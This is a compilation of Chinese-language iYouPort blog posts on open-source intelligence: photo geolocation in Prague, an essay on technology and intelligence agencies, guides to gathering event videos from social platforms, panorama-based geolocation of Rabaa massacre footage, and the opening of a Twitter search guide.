查看下一个 “全球” 标识 —— 高大的黄色建筑物。另一个 Google 图片搜索 tall yellow building + Prague 带来了很多无用的结果，但是有一个匹配引人注目：

「图」

「图」

这座黄色的高楼是布拉格的 Opatov 酒店。看起来很像原始照片中的高楼。

如果是 Hotel Opatov，就可以切换到 Google Maps 3D视图，找到桥梁和高速公路，然后找到位置。这是展示那栋大厦的原始照片：

「图」

「图」

这是地图上的 Hotel Opatov：

「图」

「图」

3D视图是这样：

「图」

「图」

它附近有很多高层建筑！

靠近高速公路！

高速公路编号是一位数字！

因此切换到3D视图，以尝试尽可能重建原始图像：

「图」

「图」

这是在3D视图中所能获得的。角度略有偏离，但远处的右边是 Hotel Opatov，前景是高速公路，右侧是公交车站，这意味着位置是布拉格的 Centro Chodov。直觉是对的！

使用本地指标缩小范围

全球指标已经指向了这里。要找到准确的位置，必须找到本地指标以确认刚才的发现是对的。首先，高速公路上的桥梁旁有一个奇怪的蓬状结构：

「图」

「图」

其实这个蓬状屋顶是公交车站的顶棚。于是不得不使用街景视图来查找公交车的图片，以查看它们真正看上去究竟是不是这样：

「图」

「图」

看起来是对了。停在与原始照片相同的位置，并具有相同的配色。接下来使用街景图检查高速公路：

「图」

「图」

这个标志与原始照片完美匹配，显示的是2号高速公路的出口。

不过，这个难题尚未完全解决 —— 仍然必须找出照片拍摄自哪个楼层。将3D视图旋转了180度后发现：

「图」

「图」

这个地方显然仍在建设中，所以判断视图不是最新的。从 Google Earth 照片中获得了最新版本：

「图」

「图」

通过对原始图像和 Google Maps 3D 进行交叉检查，可以说照片必须是从这些窗口之一附近的位置拍摄的。但是究竟在哪一层？

照片显示视角比较高，于是不可能是底层，一楼有一家 Spicy Mama 餐厅，但即使是室内全景，也找不到与原始图像匹配的室内布局。

当您想在购物中心里找东西时只需查找平面图即可。找到精确位置的最佳方法是找到 Chodov Centre 的平面图，然后尝试查找所有可能位置的内部照片，直到找到合适的位置为止。

从已知的开始 —— 那个位置要么是 Spicymama，要么就在它附近。交互式平面图显示，一楼和二楼只有咖啡馆，因此可能性很小。Spicymama的内部不匹配。Kobe Fusion 也不在上层。

「图」

「图」

稍作调整，检查了附近的另一个出售食品和饮料的位置 —— Page Cafe。通过 **Facebook** 快速搜索 “Page Cafe Centrum Chodov” 的照片，使匹配重新进行：

「图」

「图」

简直完美！

桌子和椅子完全相配，可以辨认出在外面的公交车站顶篷，甚至旁边放书的架子都一样。

☞这是一个很漂亮的调查演示，其中展示的技巧都很重要，比如 在一条路不通时如何切换另一条路，并且如何巧妙地将不同线索结合起来考虑。

尤其是，它显示了你的直觉有可能比较管用。直觉来自日常知识面和观察能力，这就是为什么说调查人员应该具备相对广博的知识。nixintel 是个了不起的玩家，希望您能从中学到东西。〇

《Where In The World? Global and Local Identifiers – Quiztime 12th Sept 2019》

原文

科技如何改变情报产业？- 技术和间谍的未来 - iYouPort

开源情报-每个人都可用的武器

情报行业只能由政府霸占吗？再想想...

「图」

「图」

国家情报局前局长丹·科茨（Dan Coats）在2018年举行的关于情报机构未来挑战的会议上称，他认为美国情报界的转型必须是一场革命，而不仅仅是一种进化。

他称，情报社区必须具有创新性和灵活性，能够在可能出现的任何地方迅速采用创新技术。

情报界现在正处于十字路口上：人工智能、大数据、机器人技术、物联网和区块链等技术的不断扩散改变了游戏规则。

这些技术的普及（其中大多数是民用技术）很容易造成数据泄露，并给情报机构造成后门威胁。

此外，由于这些技术的价格适中且无处不在，因此很容易被用于恶意目的。

近年来的技术突破已导致情报组织面临极大挑战。这些组织传统的分层、分隔、产业结构现在正在发生变化，主要围绕新技术与传统情报工作的集成以及人类在情报过程中的角色的重新定义。

在这里看到情报的分类、历史演化，以及它们各自代表什么，尤其是对开源情报的发展介绍《“谷歌地图”是比詹姆斯邦德更棒的间谍》。

以开源情报（OSINT）为例。

传统上，这种信息被认为“不如”机密信息。结果是与其他类型的技术

和资源相比，对 OSINT 技术的投资大大降低了。

然而，现在这种情况正在逆转；情报机构现在已经意识到，与其他（更具挑战性）的信息类型相比，**OSINT** 易于获取，并且可能更有价值。

不过这种理解只是昙花一现，因为情报机构对OSINT的使用仍然涉及繁琐的过程，包括未机密和已机密的IT环境的缓慢而复杂的集成（体现出民间独立开源情报调查的优势？至少没有官僚机构那么多复杂的繁琐流程）。

因此，毫不奇怪，情报主管（例如，国务院情报部门负责人或被任命为国家侦察办公室主任的提名人）最近辩称，情报社区最大的挑战之一是如何将 OSINT 快速有效地整合到运营中。

确实，技术创新一直是情报行业的中心。

但是，当涉及到处理、分析、解释和对情报采取行动时，人类的能力（尽管有其所有局限性）始终被毫无疑问地认为是优越的 —— 就算是开源情报，也需要大量的人力工作。机器无法有人类那种慎密的思考。

显然，数据和数据源的激增需要更好的优先级排序和分析系统。

但是，谁应该具有至高无上的地位呢？人还是机器？

「图」

「图」

A man crosses the Central Intelligence Agency (CIA) seal in the lobby of CIA Headquarters in Langley, Virginia, on August 14, 2008. AFP PHOTO/SAUL LOEB / AFP PHOTO / SAUL LOEB (Photo credit should read SAUL LOEB/AFP/Getty Images)

⚠大数据为间谍行业而来

辩论汹涌。资深情报人士声称，人类的判断无可替代。

他们认为，人工智能将永远无法理解战略决策中的所有考虑因素，并且，人工智能无法评估人类行为解释中的抽象问题。

机器可以收集数据并可能识别模式，但是它们在像人类一样解释现实方面将永远不会成功。

对此，见简要分析《停止将那些东西称为”人工智能”》。

其他人也警告说，在生死攸关的情况下，例如 决定是否开战时，依靠机器会产生伦理问题。

相比之下，技术优越主义者则声称，人类的优势已经在技术面前屈服，虽然是人类优势定义了上个世纪的情报活动。

尽管人类仍然很重要，但他们的角色不再是排他性的，甚至可能不是最重要的。

一般的情报人员如何应对现代世界产生的无休止的庞大信息量？

从1995年到2016年，覆盖低优先级国家/地区的美国情报研究人员的平均阅读量，每天从20,000字增加到200,000字。

这仅仅是开始。根据预测，到2025年人类将产生的数字数据量将是今天产生的数字量的十倍。

有人认为，这个信息量只能由计算机来处理和分析。

当然，最热衷于将机器集成到情报工作中的倡导者并没有完全消除人类的参与。即使是最怀疑的人也不会怀疑将人工智能集成到情报活动中的必要性。

辩论集中在谁将帮助谁的问题上：机器帮助人类、还是人类帮助机器。

多数内部人士认为，将情报界带入21世纪的关键在于打破组织间和组织内的隔离墙，包括 国家安全机构内的服务；在公共部门、私营部门和学术界之间；以及不同国家的情报部门之间。

因此，毫不奇怪，推动技术创新是当前情报革命的一部分。

间谍部门已经认识到私营部门和学术界是技术创新的主要驱动力。

「图」

「图」

Alexander Karp, chief executive officer and co-founder of Palantir Technologies Inc., walks the grounds after the morning sessions during the Allen & Co. Media and Technology Conference in Sun Valley, Idaho, U.S., on Thursday, July 7, 2016. Billionaires, chief executive officers, and leaders from the technology, media, and finance industries gather this week at the Idaho mountain resort conference hosted by investment banking firm Allen & Co. Photographer: David Paul Morris/Bloomberg

私人情报和国家情报

在美国，这些机构与安全界之间存在动态合作，包括由政府和私人公司共同拥有的风险投资基金。

以In-Q-Tel为例，这是成立于20年前的风险投资基金，用于挑选和投资开发可为美国国家安全服务的创新技术的公司，从而将美国情报界置于技术发展的最前沿。

⚠该基金是一家独立公司，不隶属于任何政府机构，但是，它与中央情报局保持持续协调，美国政府是其主要投资者。

数据集成和知识管理提供商 Palantir 是最成功的尝试，尽管颇有争议，但如今已发展成为数十亿美元的大公司。

但是还有很多其他初创公司和更成熟的公司，范围从复杂的化学检测（例如 908devices）、自动语言翻译（例如 Lilt）、和数字图像（例如 mmersive Wisdom），到传感器技术（例如 Echodyne）、"预测分析"（例如 Tamr）、和网络安全（例如 Interset）。

实际上，无论大小，这类公司已经在情报工作中占了很大一部分。Hexagon、Nice、Splunk、Cisco 和 NEC 等公司为情报和执法机构提供了一整套平台和服务，包括各种分析解决方案，例如视频分析、身份分析和社交媒体分析。

这些平台通过使用实时数据流分析和机器学习，帮助间谍机构从收集到的历史数据中获取见解并做出预测。一站式的情报商店，如果您愿意的话。

政府与非政府机构合作的另一个例子是情报高级研究计划活动（IARPA），这是一个向国家情报局局长（DNI）汇报的非营利组织。

IARPA 成立于**2006**年，致力于资助与美国情报界有关的高级研究，重点是广泛的技术和社会科学领域的学术机构和私营部门之间的合作。

该基金的年度运营预算相对较小，约为30亿美元，因此优先考虑满足情报界具体需求的多年发展项目。

「图」

「图」

挑战情报行业的政府霸权

这些都是令人兴奋的机会。但是，未来对于情报机构来说将面临一些挑战：

首先，情报界在收集、处理和分发数据方面失去了首要地位。直到最近，这些组织存在的理由还是首先要获得有关敌人的信息，然后才能说出敌人可以掩盖这些信息。

但是，今天有很多信息可供使用，并且有"大量现成的工具"（其中很多是免费的工具）允许包括个人在内的所有各方收集、处理和分析大量数据。

只需看一下IBM的 i2 Analyst Notebook，它可以为分析师提供数千美元的多维可视化分析功能，以便分析师可以快速发现数据中隐藏的关系和模式；

请注意，直到最近，这种能力只属于政府组织。

情报组织面临的第二个挑战在于，信息本身的性质及其多种不同格式，以及通常是独立且缺乏标准化的收集和处理系统。

结果是，很难将所有可用信息合并到一个情报产品中。

因此，情报组织正在开发强调合作与权力下放的概念和结构。

私人情报市场提供了多种用于合并信息的工具；从简单的现成解决方案到支持复杂组织过程的复杂工具。

某些工具可以购买和快速实施，例如数据和知识共享与管理平台，而其他工具则由组织自己开发以满足其特定需求。

第三个挑战与情报优先原则的改变有关。

在过去，有关给定目标的信息的收集需要做出特定的决定，并为此目的分配专用资源，这通常是以将资源分配给不同目标为代价的。

但是，在当下这个信息量无限、几乎无限制地访问信息、先进的数据存储功能和操纵数据的时代，情报机构现在可以大规模收集和存储信息，而无需立即进行处理 —— 可以根据需要进行处理。

这种发展带来了其他挑战，包括：需要在需要时快速查明相关信息；快速处理信息；识别模式，并从大量数据中得出结论；还要使所生产的知识可供情报消费者使用。

因此，毫不奇怪，情报领域中的大多数技术进步都能应对这些挑战，通常将实时技术与诸如具有人工智能的大数据、先进的信息存储功能、和先进的信息可视化呈现等技术结合在一起。

最后，情报机构是根据工业时代高峰期提出的概念来建立和运行的，该概念倡导线性和周期性装配线的原理。

情报周期的线性模型 —— 收集、处理、研究、分配和反馈 —— 变得不那么重要了。

在这个新时代，各种情报职能之间以及情报组织及其生态系统之间的界限越来越模糊。

「图」

「图」

情报新世界

因此，需要新的情报工作顺序，情报组织目前正在重新定义过程中。

传统分区 —— 例如在收集和研究之间；内部安全组织和积极情报；公共和私营部门 —— 都已过时。

这已经不是进行结构改革的另一种尝试了：存在认识论破裂的感觉，需要重新定义学科、情报组织与环境之间的关系（从决策者到普通大众）以及开发新的结构和构想。

当然，还有更广泛的担忧。立法者需要创建一个法律框架，以一种能

够将这些技术的预测方面考虑在内的方式，准确地合并基于数据的评估，同时仍要保护尊重这些概念的民族国家的公民的隐私权和安全权利。

尽管人们认识到它们周围正在发生深刻的变化，但今天的情报机构仍然本着冷战构想的精神建立和运作。

从某种意义上说，情报组织没有内部化现今特征的复杂性，这种复杂性要求*放弃*对情报机构的（内外）二分化理解，以及对情报企业和政府机构的理解；这些东西在如今的去中心化、网络化和繁荣的时代已经是过时的概念。

尽管有些人怀疑情报机构是否具有改变和适应未来挑战的能力，但毫无疑问，他们必须在这个由速度和相关性决定谁胜出的时代继续存在。〇

How tech is transforming the intelligence industry

广告

原文

突发事件来了，如何进行全面的视频信息采集？#OSINT - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

对于突发事件来说，如何迅速了解全局？以判断事件细节的真伪

「图」

开源调查经常需要对特定事件进行深入研究，其中包括寻找有助于进行分析的所有可能的照片、视频和见证账户。尤其是突发事件出现时，很多用户会迅速上传照片和视频，并且，这种时候也是那些营销者推动假消息混淆其中的重点时段。

我们介绍过很多验证图像和视频信息真伪的工具。验证非常重要，但首先您必须找到它们在哪儿。用户通过不同渠道/平台传播信息，如何快速将相关事件的所有信息集中起来？

本指南将提供有关如何在特定事件中收集尽可能多的视频的建议和一些提示，无论是来自自然灾害、群体事件、人为灾难、还是恐怖袭击的目击者。对于下面将呈现的大多数示例，将假设该事件是大型抗议或群体事件，但同样的适用于其他事件。

下面开始。

第一组搜索：直播

正如您所想象的那样，第一个显示事件的视频是实时发生的 — 即 直播。对于大型群体事件，会有大量参与者或媒体成员在事件发生时进行直播。

对此，以下是最流行的直播平台：Facebook Live

作为此列表中最新的平台之一，Facebook Live 因其庞大的用户群和易用性而迅速普及。查找实时视频非常简单 — 访问 https://www.facebook.com/live ，然后单击您感兴趣的位置中的蓝点。但是，这些视频仅在流式传输时才显示在地图上。

「图」

要从 Facebook Live 中查找以前播放的视频，您有几个选择。例如，您可以访问您知道的播放流的个人或主页，并搜索他们的视频。例如，可以在 facebook.com/RebZtv/videos 上找到流行的美国抗议流媒体 Rebelutionary_Z 上过去的流式 Facebook 直播视频。

或者，您可以通过 Facebook 搜索功能广泛搜索实时视频。不幸的是，Facebook 的搜索功能不是很容易使用，但你可以通过仅过滤“直播”视频找到大多数结果。

「图」

YouTube 直播

虽然 YouTube Live 是一个更大的视频平台，但对于普通用户来说，YouTube Live 还不是一种非常受欢迎的直播服务，尽管它经常用于专业新闻媒体。

「图」

与 Facebook 一样，您可以过滤搜索结果，仅显示“实时”视频，无论它们是否仍处于活动状态或是存档。

「图」

Periscope

最受欢迎的直播平台之一是 Periscope，它于 2015 年被 Twitter 收购。与本指南中的其他平台一样，很难通过 Periscope 网站的界面搜索视频 — 事实上，几乎不值得使用 Periscope 网站上的搜索界面，通过 Google 或 Twitter 搜索要容易得多。例如，下面我们可以搜索 2017 年8月12日夏洛茨维尔活动当天的部分（但不是全部）Periscope 直播，关键字为“Charlottesville”。

「图」

但这不会给你全面的结果。几乎所有 Periscope 流都至少被转推过一次，无论是由他们的创建者转的（因为 Twitter 帐户经常链接到 Periscope 流）或有人在观看。

在 Twitter 中搜索类似的字符串与 Google 一起使用可能更有用，但

您大概会有更多结果需要筛选。“ 最新 ”和“ 视频 ”选项将带来许多好的结果 — 通常人们会链接或提及某些流 — 但最近添加的“ 广播”“选项将给出最直接的结果。

在下面的搜索字符串中，我们将在 2017 年8月12日的随附推文和 Periscope（包括 URL）中找到所有带有夏洛茨维尔字样的广播流（在 Twitter 搜索中，您必须输入以下内容：and until: dates as seen below to find all tweets sent on one day–August 12, 2017 在本案例中是如此）。

「图」

从您正在寻找的事件中找到一个视频后，搜索 Periscope 用户的其他视频 — 您可能会在同一个地点和时间找到更多的视频流。

"Livestream.com"

Livestream.com 是此列表中最古老的服务之一，自社交媒体平台提供直播选项以来，其受欢迎程度逐渐降低，但它仍被许多团体和个人使用。

值得庆幸的是，它的搜索功能比 Periscope 和其他一些平台更强大; 然而，它们仍然不完美。搜索特定日期发布的视频很困难，搜索过滤器更接近 YouTube，“过去24小时”，“过去一周”等过滤器，而不是特定的日期范围。尽管如此，这个平台上的视频远远少于 YouTube 和 Periscope，从而减少了对有用和无关结果进行分类的麻烦。

「图」

与其他平台一样，以前的直播流存档可备将来观看。如下所示，受欢迎的独角兽防暴频道 Unicorn Riot，经常直播抗议活动，拥有近 300 个以前的直播视频存档可以观看。

「图」

最后，UStream 是一个受欢迎的流媒体平台对抗议活动来说，但在 2016 年初被 IBM 收购后，它的地图没了。

第二组搜索：各种平台上的特定日期过滤器

通常，最受欢迎的视频是在事件发生后不久发布的视频，但不一定是直播视频。大多数情况下，这些视频会出现在 Twitter 和 Facebook

的本地记者或通讯员的账户上，或者恰好是证人的普通人账户。直播之后我们的下一组搜索是在特定日期发布的视频 — 当然，最受欢迎的视频托管平台是最有用的。

Twitter

这里的案例是墨西哥地震，发现了大量来自普通人的推文递送的现场消息。使用 Twitter 的高级搜索界面，在 twitter.com/search-advanced 上搜索运营商可以轻松找到这些视频。从那里，应该选择“视频”标签，只看到上传到 Twitter 的视频。

「图」

「图」

追踪这些视频是为了知道正确使用的关键字是什么，并具有筛选所有结果的耐力。在寻找与事件相关的视频时，不要只搜索会带来大部分结果的明显主题标签和主题词 — 例如8月12日的抗议活动，标签 #UnitetheRight 和 Charlottesville；还可以使用特定的短语、单词和主题标签，本地人很可能使用这些短语、单词和主题标签来查找可能未尝试向大量观众广播的账户的结果。

想象一下，如果你是当地人观察这个事件时，你会写点什么来描述这个事件 — 也许你会使用城市名称，或者更有可能的是，如果你只打算向更小的受众广播，那么很可能是当地人最熟悉的地名。

另一个明显的策略是使用当地语言而不仅仅是英语。在墨西哥城地震的情况下，你会发现西班牙语中的地震可以搜到更多成功的结果，“sismo”或墨西哥城的常用术语，如CDMX（CiudaddeMéxico 的缩写）。否则，您只会得到英语游客和记者的发布结果。

YouTube 和 Google 视频

对于 YouTube，您可以使用过滤器仅查找在特定时间跨度内发布的视频。但是，这些过滤器仅限于不能让我们搜索特定日期或日期范围，只能用与您进行搜索时相关的相对时间跨度。如果您在事件发生后的一周内搜索事件的视频，那么“本周”过滤器应该可以正常工作。

「图」

但是，如果您在活动结束后经过了更长的时间再搜索视频，那么在 Google 中搜索 YouTube 视频可能会更有用，因为 Google 提供的搜

索选项远比 YouTube 用户界面强大得多。在下面的搜索中，我们要求 Google 将 2017 年8月12日发布的每个 YouTube 视频（网站：youtube.com）的结果（“工具”下的日期参数）返回“夏洛茨维尔”关键字（要是有引号哦）。

「图」

通过在 video.google.com 中使用相同的搜索参数，减去 YouTube 格式，我们将主要查找发布到可能无法在 YouTube 上分享其内容的新闻机构的视频。

没有一个平台能够在同一个地方收集专业新闻机构的所有内容，因此您最好的选择是 YouTube 搜索（针对在官方 YouTube 频道上分享其内容的新闻机构）和 Google 视频搜索的组合，它将检测每个站点上的视频内容。

「图」

Facebook

搜索在 Facebook 上特定日期共享的视频比使用 YouTube 或 Twitter 要困难得多。Facebook 上没有搜索运营商可以指定日期范围，只有年头。

「图」

与 YouTube 类似，由于 Facebook 用户界面的限制，我们需要将操作外包到 Google。如果为 2017 年8月12日在 video.google.com 上搜索关键字“Charlottesville”的视频，会收到许多有用的结果，类似于我们针对 YouTube 视频的特定日期搜索。

「图」

Vkontakte 和 Odnoklassniki

根据您关注的事件，有许多区域型社交网络也值得使用。在本指南中，我们将重点关注前苏联国家中最受欢迎的两个区域社交网络：Vkontakte（VK）和 Odnoklassniki（OK）。使用这两种平台，通过站点界面进行视频搜索非常容易。（在中国这类平台就是微信和微博，道理大同小异）

在 VK 上，视频搜索仅限于按上传日期排序，但在其他平台上可用的

视频少得多，这不会使搜索过于耗时。输入关键字后，如果您无法更改语言设置，请选择“视频”（或俄语中的“Видео”）以限制搜索结果。

「图」

Odnoklassniki 与 Facebook 在视频搜索方面的选择大致相同，因为它包括选择包含来自 Odnoklassniki 的很少拍摄的现场视频。与 VK 一样，在网站上进行搜索（可能需要创建帐户），然后选择“视频”来过滤结果。

「图」

除非您关注的事件发生在拥有多个 VK 和 OK 用户的位置，否则在这些平台上搜索新的视频片段可能不值得，因为这些网站上的大量剪辑都是来自其他来源的共享。

第三组搜索：难以找到 **Snapchat** 和 **Instagram** 内容

Snapchat 和 Instagram 是视频的两个非常常见的来源，但也是两个最难捕捉剪辑的平台。它们都没有直观的搜索界面可以让研究人员轻松地对视频进行分类和收集。

Instagram

在 Instagram 网站上搜索视频片段几乎没用，除非您很幸运或通过地理标记搜索到特定位置。只搜索关键字或主题标签，就无法仅对视频结果进行排序，也无法在特定日期范围或视频长度标准内进行搜索。

「图」

您可以使用特定关键字或主题标签对最新视频进行排序，但对于城市名称等热门字词来说，这将为您带来远远超出您所需要的结果。通过地理标记搜索可能很有用，但会带来散射的结果 — 并非所有视频都有标签，甚至使用的不是您正在搜索的标签。例如，弗吉尼亚州夏洛茨维尔的主题标签会给你一些结果，而某个公园或街道名称的标签会给你不同的结果。除非您使用像 EchoSec 这样的付费服务，否则无法将结果集中在重点部分上。

「图」

再一次，Google 通常比较好用。通过使用搜索运算符，我们可以找

到特定关键字和日期范围的视频结果，但结果非常有限。

「图」

毫无疑问，抗议活动当天在 Instagram 上张贴了“夏洛茨维尔”这个词的视频超过五个，但这些是谷歌给出的唯一结果。不幸的是，在 Instagram 上搜索视频是一项艰巨的任务，你可能有更好的运气在 Twitter 等其他平台上搜索到 Instagram 视频，而不是在 Instagram 平台本身。

snapchat

除非您使用 Android 模拟器（即使您这样做成功也很有限），目前无法在笔记本电脑或台式电脑上搜索 Snapchat 视频 — 您只能在平板电脑或手机上使用 Snapchat 应用。在 Snapchat 应用程序中，只需搜索关键字或位置即可查找 Snapchat 故事。但与 Instagram 和 Facebook 一样，此内容可能受到用户隐私设置的限制。

结论

对于记者和研究人员来说，查找和验证视频的能力越来越重要。虽然最具爆炸性和有趣的视频通常会因各种社交媒体平台上的转发和分享而成为焦点，但通常您可以在更加模糊的平台上找到不为人知的视频中被忽视的细节。它们也许很重要。

如果您有更多好的想法，请留言交流。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

细节的线索魅力：如何用视频创建全景图？#OSINT 开源调查小工具 - iYouPort

开源情报-每个人都可用的武器

继续介绍一个小工具，非常有用；并且将演示一个细节取胜的案例

「图」

我们在上一篇开源调查操作的演示文章《”谷歌地图”是比詹姆斯邦德更棒的间谍》中提到了一个很有用的小工具 — — 用视频创建全景图，以发现其中隐藏的调查线索。本文将详细介绍它的用法。

视频中的全景图像或 Photomosaic 经常对人权研究非常有用，尤其适用于将地标等视觉特征与卫星图像相匹配，就如我们曾经操作过的那样。人权观察组织在 2014 年1月关于叙利亚房屋被拆毁的报告中就使用了 Photomosaic（在这里见第22页）。

以下教程将采取的是来自阿勒颇的视频。

使用的工具：

- VLC 视频播放器
- Hugin Panorama Stichter

第**1**步：从视频中选择帧

在 VLC 视频播放器中打开视频并播放。考虑让视频以慢动作运行，以帮助识别适当的帧。

「图」

关于选择帧的提示：当相机在相对较短的时间内扫过您想要覆盖的区域时查找视频的片段。理想的图像组在每个相邻图像之间具有至少半个帧宽的重叠。如果做不到这点照片拼接程序将有困难。

第**2**步：拍摄视频快照

如果您已经识别出可以从中拉取帧的适当片段，则可以开始拍摄多个快照或“屏幕截图”，稍后将这些快照或“屏幕截图”拼接在一起，以创建一个单独的图像。

「图」

重复此步骤，直到有足够多的帧。

第**3**步：将快照放入一个文件夹

接下来，将从视频中提取的所有单个快照放入单独的文件夹中。（注意：在 Mac 上默认情况下快照将保存在图片文件夹中）。

第**4**步：在 ***Hugin*** 中加载图像并“对齐”

打开 *Hugin*，单击“加载图像”，然后选择从视频中提取的所有快照。

「图」

提示：当程序要求 HFOV 时，请尝试“35”

单击“对齐”后，请等待处理完成并打开“快速全景预览”。

「图」

看看图像是否自动连接良好？如果是，跳到下面第6步。

如果图像看起来断开或未对齐，请继续执行下一步。

第**5**步：编辑控制点（如有必要的话）

关闭“快速全景预览”窗口，然后单击 *Hugin* 主窗口中的“控制点”选项卡。

关于控制点的一般建议：控制点是每对重叠图像之间的重叠点。理想的控制点位于静止物体上，这些物体具有可在照片之间匹配的清晰的角落或线条。每个重叠对之间应至少有4或5个点。

确保每个相关图像对之间的自动猜测控制点正确。在“优化工具”标签中，点击“立即优化”。

再次打开快速全景预览，然后继续下一步。

第6步：调整全景规格

在这里，您有几个选项可以为您的 mosaic 提供最终的触感。

「图」

- 调整投影：尝试不同的投影，看看哪个看起来最好（经验上看 Cylindrica 和 Equirectangular 运作良好）
- 可选：在图像边缘调整垂直和/或水平视野滑块
- 移动/拖动：单击并拖动图像以移动和/或旋转全景图
- 裁剪：将裁剪边缘调整到所需大小

第7步：创建全景图

关闭“快速全景预览”后，您可以在“Stichter”选项卡下选择输出格式（例如.jpg）。

单击“Stitch”创建全景图（它将保存在包含视频快照的同一文件夹中）在这里看到清晰版。

「图」

— — 细节致胜 — —

全景图将可以更好地展示细节线索，对调查非常有用。细节真的很 ~ 重要，下面尝试一个实例可以说明这个问题。

这里是一个拍摄得很糟糕的视频，就像很多中国民间流传的视频那样，由于拍摄者不专业，角度非常差，要么是斜的，要么全是俯视或仰视的。但是这个视频非常重要，它记录的是埃及拉巴广场屠杀事件 — — 当时埃及前总统穆尔西的支持者在进行静坐抗议。此前一个月，穆尔西在军事政变中被赶下台。 埃及现任总统塞西参与了推翻穆尔西的政变，他也领导了袭击行动。根据人权观察的统计，屠杀事件中被杀害的平民有 817 人，不过实际上的死亡数字很可能超过了一千人。

该视频记录的是一名妇女被袭击受伤（或许死亡）的过程。在这里链接看到视频

这个拍摄技术让调查很难对周围区域有太多了解。但是我们可以从视频中收集到一些信息，并结合 Rabaa 发生袭击事件的事实，可以缩小搜索范围。现在开始：

首先，视频中显示的建筑物：

「图」

上图是从视频中摘取的三个帧，展示了相当多的有用信息。在左图中，可以看到视频中的人物以一个看似坚固的结构做掩体，可能是墙壁或建筑物的角落。因为拍摄者距离很近，所以无法了解该建筑物的大小，只是知道它就在那。还可以看到一些多层的建筑，在远处的屋顶上有一个广告牌，在左边可以看到某种空中塔楼。

在中间的图像中，看到一条道路，似乎相当宽阔，有少量的绿色植物，无论是在路中间还是在远处。图片中间的建筑物与其两侧的建筑物面向道路的一面有所不同。

在右侧图像中，可以看到第三个建筑物，它似乎与第一个图像中的建筑物具有相似的设计。相机的位置似乎位于第三栋建筑的前面，看起来所有三栋建筑都非常靠近。

从这里我们可以整理出该地区的草图。下面是一个比较粗糙的 MS Paint 草图（当然你可以用纸和笔来画，不怕丑能看得明白就行）：

「图」

圆圈代表摄像机的大致位置，十字方框是塔楼的大致位置。我们知道地点是在 Rabaa，并且有 Google Maps，Wikimapia 和 Bing Maps，有我们可以检查的区域的卫星地图。一些新闻网站也制作了地图，显示了抗议发生的位置，例如BBC，这都可以帮助我们缩小搜索范围。

了解我们已经知道的东西，可以开始消除某些领域。我们知道这些建筑物的形状，它们相对于道路的位置，以及对道路的粗略概念。以下是可以消除的一些示例：

「图」

这样可以直接看到右侧的建筑物可能相距太远了。如果你将卫星图像上的车辆尺寸与建筑物之间的间隙进行比较的话就会发现距离不对，而且建筑物也与我们在视频中看到的形状不符。可以立即看到建筑物相对于道路处于完全错误的位置，于是这个地区很容易被驳回。

「图」

再看这个。道路的中心显然有很多绿色，从阴影投射的方式和一些绿

色区域与道路重叠的方式来判断，几乎可以肯定这些是树木，而不是灌木丛。

除卫星地图外，我们的工具包中还有另一种工具。在Google地图上，您只需点击并将左上角的标记拖到蓝色框上即可显示在那里拍摄的照片，并且在某些国家/地区可以使用 Google 街景视图。

埃及行动海报突出显示了一个可能的区域，其中包括附近空中塔楼的图像，可能与视频中的那个相匹配：

「图」

在图像的右上角，有一个小边缘可能是公寓楼顶部的广告牌，如果是从图片右侧拍摄的话，那将与视频形成匹配。这当然意味着该领域值得仔细研究，所以回到卫星地图。

「图」

空中塔楼将位于最右侧，由于道路北侧没有建筑物，我们可以看看道路南侧的三座建筑物位置很清晰。在这里略微旋转它们，为匹配我做的粗略草图：

「图」

似乎是个很好的匹配，建筑物的轮廓匹配，并且在道路的北侧，在相机看起来的位置左侧有一个作为“掩体”的小建筑。

下面是那个作为掩体的小建筑：

「图」

这里是掩体在视频中的状况：

「图」

请注意墙壁上的剥落表面，边缘上缺失的那块墙皮似乎略高于左侧。还要注意屋顶的边缘和墙顶的白色海报。在照片和视频中他们都能匹配。利用现有的所有证据，100％肯定这就是拍摄视频的确切位置，在 **Rabaa Adawiya** 清真寺以东约**800**米处，那里有许多伤者和死者。

上述展示的是一些可用于确认视频拍摄地点的技术。即使是短片并且

拍摄得很糟糕的片段，您依然可以提取大量有用的信息。

开源调查需要一些思维方式的训练，除逻辑学之外这类训练其实很简单，即 观察的能力，就如我们在社交工程学攻击和防御演示中所强调的：平日有意增加您的观察细节的习惯，久而久之您会发现得到了更为精湛的能力。一起来试试吧。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

绕开推特算法噪音、使用基本运算符挖掘推特数据的方法 - iyouport

开源情报-每个人都可用的武器自我保护措施-技术技巧以防身

【2019年12月26日存档】避免被算法操纵的技巧可以很简单；本文还将补充挖掘推特情报的方法，本文是基础知识，帮助您快速找到想要的资源！

2019年7月，Twitter对其界面，搜索URL和整体用户体验进行了一些更新。

他们在后台更改了许多内容，这使得开源调查人员的体验变得很糟糕。

本文将采取一些基本步骤来帮助您恢复“旧” 的 Twitter 用户体验，就像您以前那样。并且，还可以帮助您通过 Twitter 过滤掉自动生成的算法噪音（例如：建议的推文和推荐的帐户），并向您展示如何执行基本的手动搜索 —— 您可以根据需要进行更复杂的设置，以便更好的挖掘到想要的东西。

消除算法噪音

「图」

像所有其他社交媒体平台一样，Twitter使用算法为您呈现所谓的“最佳”结果。“最佳”结果是基于许多不同的因素得出的，例如 您的关注者、关注您的人、以及活动历史记录等等 —— 是的，它一直在监视你。

Twitter 甚至会为您提供回溯，这是为了确保您在睡觉时没有错过任何内容。

但是，⚠这些排名和算法会影响并模糊您的时间轴 —— 我们认为这是算法操纵，使您无法按时间顺序查看实际发生的情况。

尤其是对调查人员来说，当您设置了特定的 Twitter 帐户来侦查其他 Twitter 帐户时，算法操纵就是您必须防止的事。

对普通人来说也是如此。例如，您设置了一个 Twitter 帐户，以跟踪一组专门挑选的新闻媒体，以防漏掉发生的任何重大新闻事件。

在这种情况下，您肯定不希望 Twitter 算法去为您决定应显示哪些推文、以及以什么顺序显示，而不是显示真正的全部由你亲自从中选取需要的东西。

对使用特定帐户进行侦查时，您会希望信息以“无偏见”的形式按时间顺序排列。

🌤要解决此问题，您需要采取一些步骤。设置好之后，您会发现，您的 **Twitter** 时间轴更加整洁了，并且按时间顺序排列。

以下步骤向您展示如何消除“算法产生的 Twitter 噪音

「图」

1、打开 Twitter 并登录到您的账户 —— 不论是个人账户、工作账户、还是袜子木偶账户；在这里回顾《如何建立一个匿名社交媒体账户以保护个人数据的私密性？》。

